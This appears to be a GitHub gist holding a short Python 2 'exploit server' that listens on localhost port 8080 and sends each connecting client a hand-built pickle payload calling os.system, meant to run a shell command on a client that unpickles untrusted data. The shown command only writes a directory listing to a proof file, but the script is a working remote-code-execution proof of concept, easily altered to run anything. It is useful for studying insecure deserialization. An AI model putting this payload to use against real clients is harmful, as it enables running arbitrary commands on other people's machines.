Created
November 6, 2012 06:38
-
-
Save tejastank/4023053 to your computer and use it in GitHub Desktop.
Python Exploit Server
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# -*- coding: utf-8 -*- | |
#!/usr/bin/env python | |
import socket | |
import cPickle | |
class ExploitServer(): | |
def run(self): | |
HOST = '127.0.0.1' | |
PORT = 8080 | |
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
s.bind((HOST, PORT)) | |
s.listen(1) | |
print "*** Ready for connections on %s:%s..." % (HOST, PORT) | |
while True: | |
conn, addr = s.accept() | |
msg = """cos\nsystem\n(S'ls -l > proof_of_exploit.txt'\ntR.""" | |
print "[+] Sending payload to %s!" % addr[0] | |
conn.sendall('%8d%s%s' % (len(msg), "0", msg)) | |
conn.close() | |
try: | |
if __name__ == "__main__": | |
ExploitServer().run() | |
except KeyboardInterrupt: | |
print 'Shutting Down...' |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment